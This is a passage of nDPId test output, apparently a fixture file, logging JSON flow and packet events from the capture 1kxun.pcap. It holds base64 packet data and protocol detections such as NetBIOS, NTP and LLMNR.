+01775{"flow_id":133,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1282,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":322983,"pkt_caplen":1055,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1055,"pkt_l4_len":1021,"pkt":"ABxCjnAxABAj4ACgCABFAAQRszFAAEAGignAqHNLwKgFEAG70X2C0DvtZaD+O1AYAEYirQAAFwMDAXBKoFLP2Xx2xOqlPE0\/KiccVrtPdSlvdZR\/i4oEGdHMijcu2OscQe2FwItlFid0LRJmABhjV7gWF9CUm+zizpL83asY4z7ur9zPfsGH8pDbRvXoR1qrLVhJpr8MvNtrvTunwzXHPwpSZ4jk6eioc6ifukPZvdBomQj7RwgaZAYqNnXyhHJWn\/i3HKfUfv+V+V13KExkue+QpevInCIANzKKRGu1rNxm4bUG0bCzc8FNUiLouWutphRFnvrHy\/zB7lPTKjnksk8iuiTC6bB4OLy8WhsawfxpT5jjd+W\/qxAQM6KqvZ1hTHELDVaFGjTiijw2UE\/Y538A4ZB2BSwci3C5q2v0YE\/e6IdpYhJQkffdFdZU2btMTARZ7Gk4KPmE7D1ycysoxrikE\/\/u2j+2G3m7gavgmiNfriTBjjYA+4S1sYTBg\/4cM7WLBT2\/jD\/pXL6l1k\/bzdvPWQpOv3vL9HvQ4gouxfq2nQ47f9owQZmYHxcDAwAwKB6+LjD1cJJgFUMDC94jmy\/CPl5yEo0yKvWuKRdR6kk2wqGmULLyU84yx1sog3c2FwMDAdA1LOWEmcINIcDl5tk2nzOExf25GaE5sWYHaCv\/0kJPrGrW6JkCf6bI3bE\/MVCD1apYYhvGtpgPeMwUgyK7r7fvAzx1ezMV\/RX1xL1MoYDqnZpyF7t3Xo3qKHNSPlTOUed2met5ly1nXm4NXp2KYqzJ9xmNnd68qL1bNXVU8yd4alUcxtyqv4zHjUe8M6tZe1qKY7iRcZociDRrdTIxjgpZNWOe+1oS33ZRpx2WJYaFokAhtxKLkcDjBp+pVUWrLC5kYCT20otqiDSWcWke27LGwG1PKtviepxVtVOriekx\/DGj43NxPlZW18Dh+S0tMI8uJW+EID+z60dqDrY+gqe+XGy8Yhlm42aid7XZkLEopQzTstcoMtpFuG14foGw2vG9abfpesCnuTmdRlptmTpDKaMiEffUHZKGy2Y3BNJfFQMhUq11ZRdvAcXe4FZ53jhs2qxK1rgpjvaIJWqzCJsg2pl+ttg1NrMJjnlItxf\/SCDoONW0kJ54EKYgwF3o9rZKikwwCOYB0zaq\/S3lvWnQfUV4s4DeVQ3m50fMOKXd8aGTZVQrvKftJ0fBaXGFlI0Gx3CkepdwagXleCCFqUdfckbkFQKe98MMwMqEBa+ElBcDAwAwHZ\/izpxbkt51w6MsUAZPlr\/tPjCusPFjgZ0NEsDIO285KyFY5qGHuCo15LDVcadaFwMDADBn4wPJ0pFQJkOjsKo+ocFv98aFyTXSMbwC5CX29qxcSeXiUlcl39yXoelMT2Jz2\/4="} +00419{"flow_id":133,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1283,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104423,"pkt_ts_usec":323029,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAo1A5AAEAGbRXAqAUQwKhzS9F9AbtloP47gtA\/1lAQH+CcjAAAhgDQREBA"} +00412{"flow_id":25,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1292,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104424,"pkt_ts_usec":49882,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"pkt":"TF4M6gNlABxCjnAxCABFAAApUqFAAIAGl4vAqHMI3kn+p8G+AFDrM0IThwePWlAQAQGYeAAAAA=="} +00412{"flow_id":25,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1293,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104424,"pkt_ts_usec":49934,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"pkt":"TF4M6gNlABxCjnAxCABFAAApUqFAAIAGl4vAqHMI3kn+p8G+AFDrM0IThwePWlAQAQGYeAAAAA=="} +00425{"flow_id":25,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1294,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104424,"pkt_ts_usec":115083,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA04LRAADEGWG3eSf6nwKhzCABQwb6HB49a6zNCFIAQADYInQAAAQEFCuszQhPrM0IU"} +00585{"flow_id":59,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1317,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104424,"pkt_ts_usec":537905,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/66LH8q\/uyCABFAAClCgcAAAQR9m3AqAUx7\/\/\/+sn4B2wAkYV1TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1318,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":1470104424738,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.104","dst_ip":"192.168.255.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00472{"flow_id":134,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1318,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104424,"pkt_ts_usec":738880,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AAwpjO\/4CABFAABOZ6MAAIARUUPAqABowKj\/\/wCJAIkAOgIy8PkBEAABAAAAAAAAIEZERURDT0VCRkNGQ0VCRU9FREVCRkNDT0VQRkNFSEFBAAAgAAE="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1318,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":1470104424738,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.104","dst_ip":"192.168.255.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00472{"flow_id":134,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1325,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104425,"pkt_ts_usec":455832,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AAwpjO\/4CABFAABOZ6QAAIARUULAqABowKj\/\/wCJAIkAOgIy8PkBEAABAAAAAAAAIEZERURDT0VCRkNGQ0VCRU9FREVCRkNDT0VQRkNFSEFBAAAgAAE="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1329,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":1470104425762,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.7","dst_ip":"255.255.255.255","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00838{"flow_id":135,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1329,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104425,"pkt_ts_usec":762971,"pkt_caplen":359,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":359,"pkt_l4_len":325,"pkt":"\/\/\/\/\/\/\/\/wKC7c+snCABFAAFZOwBAAEARM+XAqAoH\/\/\/\/\/\/YA9gABRUMe\/\/+fLaAAwKC7c+snwKgKBwAAAgAnAURHUy0xMjEwLTEwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABTd2l0Y2gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMuMTAuMDEzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwKC7c+snQjEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABRUDBSMUQ5MDAwMDIzAAAAAAAAAAAAAAAAAAAAAAAAAERHUy0xMjEwLTEwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAqAoH\/\/8AAFBvcnQgOAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1330,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1470104425786,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53613,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":136,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1330,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104425,"pkt_ts_usec":786054,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA0xkFAAEAGbFvAqAUQROn9hdFtAFBAFGHVDj7nf4AREAFpCQAAAQEIChoPxgTPHNz0"} +00580{"flow_id":57,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1334,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104426,"pkt_ts_usec":74315,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6uKxvwfbSCABFAAChJ3kAAAERfA\/AqGUh7\/\/\/+ti9B2wAjWL8TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00579{"flow_id":58,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1335,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104426,"pkt_ts_usec":74472,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cPGh+Cr9CABFAAChD4sAAAER9BXAqAUJ7\/\/\/+ti8B2wAjcMVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00472{"flow_id":134,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1336,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104426,"pkt_ts_usec":276929,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AAwpjO\/4CABFAABOZ6UAAIARUUHAqABowKj\/\/wCJAIkAOgIy8PkBEAABAAAAAAAAIEZERURDT0VCRkNGQ0VCRU9FREVCRkNDT0VQRkNFSEFBAAAgAAE="} +00581{"flow_id":56,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1337,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104426,"pkt_ts_usec":277904,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6CJ4BzeuNCABFAAChFFoAAAER7yrAqAUl7\/\/\/+t\/tB2wAjbvITS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1343,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1470104426973,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"17.253.26.125","src_port":123,"dst_port":123,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":137,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1343,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104426,"pkt_ts_usec":973073,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"TF4M6gNlYMVHBbyMCABFwABMyLEAAEARvv3AqAUQEf0afQB7AHsAOHvnIwIG7AAAJiAAAPbJEf0afdtKfo89Puc520qBhKZDx2jbSoGEtCSHfttKgew\/d58s"} +00503{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1343,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1470104426973,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"17.253.26.125","src_port":123,"dst_port":123,"l4_proto":"udp","ndpi": {"proto":"NTP.Apple","breed":"Safe","category":"System"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1346,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":1470104426992,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4568:efbc:40b1:1346","dst_ip":"ff02::1:3","src_port":57148,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00459{"flow_id":138,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1346,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104426,"pkt_ts_usec":992100,"pkt_caplen":88,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":88,"pkt_l4_len":34,"pkt":"MzMAAQADSNIkYwreht1gAAAAACIRAf6AAAAAAAAARWjvvECxE0b\/AgAAAAAAAAAAAAAAAQAD3zwU6wAi91hE5AAAAAEAAAAAAAAIa2V2aW4tUEMAAP8AAQ=="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1346,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":1470104426992,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4568:efbc:40b1:1346","dst_ip":"ff02::1:3","src_port":57148,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00458{"flow_id":138,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1347,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104427,"pkt_ts_usec":94109,"pkt_caplen":88,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":88,"pkt_l4_len":34,"pkt":"MzMAAQADSNIkYwreht1gAAAAACIRAf6AAAAAAAAARWjvvECxE0b\/AgAAAAAAAAAAAAAAAQAD3zwU6wAi91hE5AAAAAEAAAAAAAAIa2V2aW4tUEMAAP8AAQ=="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1348,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1470104427094,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.41","dst_ip":"224.0.0.252","src_port":55593,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":139,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1348,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104427,"pkt_ts_usec":94934,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8SNIkYwreCABFAAA2fkcAAAERlKLAqAUp4AAA\/NkpFOsAIt1BROQAAAABAAAAAAAACGtldmluLVBDAAD\/AAE="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1348,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1470104427094,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.41","dst_ip":"224.0.0.252","src_port":55593,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00585{"flow_id":59,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1353,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104427,"pkt_ts_usec":503777,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/66LH8q\/uyCABFAAClCggAAAQR9mzAqAUx7\/\/\/+sn4B2wAkYV1TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00580{"flow_id":57,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1370,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104429,"pkt_ts_usec":142138,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6uKxvwfbSCABFAAChJ3oAAAERfA7AqGUh7\/\/\/+ti9B2wAjWL8TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00581{"flow_id":58,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1371,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104429,"pkt_ts_usec":143058,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cPGh+Cr9CABFAAChD5sAAAER9AXAqAUJ7\/\/\/+ti8B2wAjcMVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00486{"flow_id":133,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1373,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104429,"pkt_ts_usec":321101,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ABxCjnAxABAj4ACgCABFAABdszJAAEAGjbzAqHNLwKgFEAG70X2C0D\/WZaD+O1AYAEajgAAAFQMDADBcSAXugCoro2zCjOeXZ2EE3tT+o4OMg1\/gr3e4vsgBKrQQmbrjLiM53+dxUjTxjpc="} +00419{"flow_id":133,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1374,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104429,"pkt_ts_usec":321142,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAoqeFAAEAGl0LAqAUQwKhzS9F9AbtloP47gtBAC1AQH\/6cOQAAAAAAAAAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1383,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":1470104429964,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.57","dst_ip":"224.0.0.252","src_port":64428,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":140,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1383,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104429,"pkt_ts_usec":964666,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8GF4PUugBCABFAAA2MWEAAAER4XjAqAU54AAA\/PusFOsAIt9AFnIAAAABAAAAAAAACFVzaGVyLVBDAAD\/AAE="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1383,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":1470104429964,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.57","dst_ip":"224.0.0.252","src_port":64428,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1386,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_first_seen":1470104430064,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::e034:7be:d8f9:6197","dst_ip":"ff02::1:3","src_port":57143,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":141,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1386,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104430,"pkt_ts_usec":64732,"pkt_caplen":91,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":91,"pkt_l4_len":37,"pkt":"MzMAAQADuKxv2MGbht1gAAAAACURAf6AAAAAAAAA4DQHvtj5YZf\/AgAAAAAAAAAAAAAAAQAD3zcU6wAl4fcCawAAAAEAAAAAAAALY2hhcm1pbmctUEMAAP8AAQ=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1386,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_first_seen":1470104430064,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::e034:7be:d8f9:6197","dst_ip":"ff02::1:3","src_port":57143,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00582{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1387,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104430,"pkt_ts_usec":64735,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6uKxv2MGbCABFAAClQRwAAAQRv1fAqAUy7\/\/\/+vyiB2wAkVLKTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1388,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_first_seen":1470104430065,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.50","dst_ip":"224.0.0.252","src_port":57143,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 